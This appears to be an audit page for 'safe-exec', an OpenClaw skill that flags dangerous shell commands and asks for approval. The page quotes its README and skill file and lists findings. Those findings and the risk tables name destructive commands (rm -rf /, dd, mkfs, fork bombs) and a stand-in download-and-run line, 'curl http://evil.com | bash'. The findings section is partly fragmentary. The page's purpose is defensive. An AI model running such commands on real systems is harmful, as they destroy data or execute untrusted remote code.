Safe ExecSAFE

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

用户请求 → AI Agent → safe-exec 执行
↓
风险评估
/      \
安全      危险
|           |
直接执行    请求批准

Help me install SafeExec skill from ClawdHub

帮我安装 ClawdHub 中的 SafeExec skills

# 设置 registry
export CLAWDHUB_REGISTRY=https://www.clawhub.ai

# 安装 SafeExec
clawdhub install safe-exec

# 启用 SafeExec
echo "Enable SafeExec" | openclaw

# 克隆到 OpenClaw skills 目录
git clone https://github.com/OTTTTTO/safe-exec.git ~/.ope

The instruction file, verbatim from the audited commit — this is the text the model reads, and the surface the audit's instruction layer examines. Quoted here so you can judge it without cloning anything.

---
name: safe-exec
description: Safe command execution for OpenClaw Agents with automatic danger pattern detection, risk assessment, user approval workflow, and audit logging. Use when agents need to execute shell commands that may be dangerous (rm -rf, dd, fork bombs, system directory modifications) or require human oversight. Provides multi-level risk assessment (CRITICAL/HIGH/MEDIUM/LOW), in-session notifications, pending request management, and non-interactive environment support for agent automation.
metadata:
  {
    "openclaw":
      {
        "env": ["SAFE_EXEC_DISABLE", "OPENCLAW_AGENT_CALL", "SAFE_EXEC_AUTO_CONFIRM"],
        "writes": ["~/.openclaw/safe-exec/", "~/.openclaw/safe-exec-audit.log"],
        "network": false,
        "monitoring": false,
        "credentials": []
      },
      "requires": { "bins": ["jq"] },
      "install":
        [
          {
            "id": "git",
            "kind": "git",
            "url": "https://github.com/OTTTTTO/safe-exec.git",
            "label": "Clone from GitHub",
          },
        ],
  }
---

# SafeExec - Safe Command Execution

Provides secure command execution capabilities for OpenClaw Agents with automatic interception of dangerous operations and approval workflow.

## Features

- 🔍 **Automatic danger pattern detection** - Identifies risky commands before execution
- 🚨 **Risk-based interception** - Multi-level assessment (CRITICAL/HIGH/MEDIUM/LOW)
- 💬 **In-session notifications** - Real-time alerts in your current terminal/session
- ✅ **User approval workflow** - Commands wait for explicit confirmation
- 📊 **Complete audit logging** - Full traceability of all operations
- 🤖 **Agent-friendly** - Non-interactive mode support for automated workflows
- 🔧 **Platform-agnostic** - Works independently of communication tools (webchat, Feishu, Telegram, etc.)
- 🔐 **Security-focused** - No monitoring, no external notifications, no network calls

## Agent Mode

When called by OpenClaw agents in non-interactive environments:

- **Automatic bypass of confirmation prompts** - Prevents agent hanging
- **Full audit logging** - All executions recorded with mode label (agent_auto vs user_approved)
- **Safety preserved** - Danger pattern detection and risk assessment remain active
- **Intended use case** - Automated workflows with human oversight via audit logs

**Environment variables:**
- `OPENCLAW_AGENT_CALL` - Set by OpenClaw when agent executes commands
- `SAFE_EXEC_AUTO_CONFIRM` - Manual override to auto-approve LOW/MEDIUM risk commands

**Security Note:** Agent mode does not disable safety checks. CRITICAL and HIGH risk commands are still intercepted, logged, and can be reviewed in audit trail.

## Quick Start

### Installation (One Command)

**The easiest way to install SafeExec:**

Just say in your OpenClaw chat:
```
Help me install SafeExec skill from ClawdHub
```

OpenClaw will automatically download, install, and configure SafeExec for you!

### Alternative: Manual Installation

If you prefer manual installation:

```bash
# Clone from GitHub
git clone https://github.com/OTTTTTO/safe-exec.git ~/.openclaw/skills/safe-exec

# Make scripts executable
chmod +x ~/.openclaw/skills/safe-exec/safe-exec*.sh

# Create symlinks to PATH (optional)
ln -s ~/.openclaw/skills/safe-exec/safe-exec.sh ~/.local/bin/safe-exec
ln -s ~/.openclaw/skills/safe-exec/safe-exec-*.sh ~/.local/bin/
```

### Enable SafeExec

After installation, simply say:
```
Enable SafeExec
```

SafeExec will start monitoring all shell commands automatically!

## How It Works

Once enabled, SafeExec automatically monitors all shell command executions. When a potentially dangerous command is detected, it intercepts the execution and requests your approval through **in-session terminal notifications**.

**Architecture:**
- Requests stored in: `~/.openclaw/safe-exec/pending/`
- Audit log: `~/.openclaw/safe-exec-audit.log`
- Rules config: `~/.openclaw/safe-exec-rules.json`
- No external network calls
- No background monitoring processes

## Usage

**Enable SafeExec:**
```
Enable SafeExec
```

```
Turn on SafeExec
```

```
Start SafeExec
```

Once enabled, SafeExec runs transparently in the background. Agents can execute commands normally, and SafeExec will automatically intercept dangerous operations:

```
Delete all files in /tmp/test
```

```
Format the USB drive
```

SafeExec detects the risk level and displays an in-session prompt for approval.

## Risk Levels

**CRITICAL**: System-destructive commands (rm -rf /, dd, mkfs, fork bombs)
**HIGH**: User data deletion or significant system changes (chmod 777, curl | bash)
**MEDIUM**: Service operations or configuration changes (sudo, firewall modifications)
**LOW**: Read operations and safe file manipulations

## Approval Workflow

1. Agent executes a command
2. SafeExec analyzes the risk level
3. **In-session notification displayed** in your terminal
4. Approve or reject via:
   - Terminal: `safe-exec-approve <request_id>`
   - List pending: `safe-exec-list`
   - Reject: `safe-exec-reject <request_id>`
5. Command executes or is cancelled

**Example notification:**
```
🚨 **Dangerous Operation Detected - Command Intercepted**

**Risk Level:** CRITICAL
**Command:** `rm -rf /tmp/test`
**Reason:** Recursive deletion with force flag

**Request ID:** `req_1769938492_9730`

i️  This command requires user approval to execute.

**Approval Methods:**
1. In terminal: `safe-exec-approve req_1769938492_9730`
2. Or: `safe-exec-list` to view all pending requests

**Rejection Method:**
 `safe-exec-reject req_1769938492_9730`
```

## Configuration

Environment variables for customization:

- `SAFE_EXEC_DISABLE` - Set to '1' to globally disable safe-exec
- `OPENCLAW_AGENT_CALL` - Automatically enabled in agent mode (non-interactive)
- `SAFE_EXEC_AUTO_CONFIRM` - Auto-approve LOW/MEDIUM risk commands

## Examples

**Enable SafeExec:**
```
Enable SafeExec
```

**After enabling, agents work normally:**
```
Delete old log files from /var/log
```

Safe

SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.

What the source does

Filesystem

none-observed

Network

none-observed

Shell

none-observed

Dependencies

pinned

Secrets in source

none-found

Findings (8)

<key>k5Ey9KFlkqpj+SDkUw+5ED9lTA3En/qUi0zdrydUCH3kMWTE3Eh65NXnFCaxlY2omY2JHnlEoK7Li7oOEvM7eG5VPdcO/sFlMfoCRdnLYdepJ+uLzYwOWR8W4yQVve/clxVFTVRL4DFleKInGdpAxIbHZT2yi4ADAMENls1N1XSLojRuqXePXDeAT/4Mv4TTx0s

**Concern:** Monitoring features referenced Feishu tokens, GitHub tokens, OpenClaw API access without declaring in `requires.env`.

# Add to ~/.bashrc or ~/.zshrc

- `curl | bash` - 管道下载到 shell

- `wget | sh` - 下载并执行脚本

- 🚪 **安全漏洞** - "安装这个工具"可能运行 `curl http://evil.com | bash`

| 🟠 **HIGH** | `curl \| bash` | 代码注入 |

- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

Gates applied: no_behavioural_pass.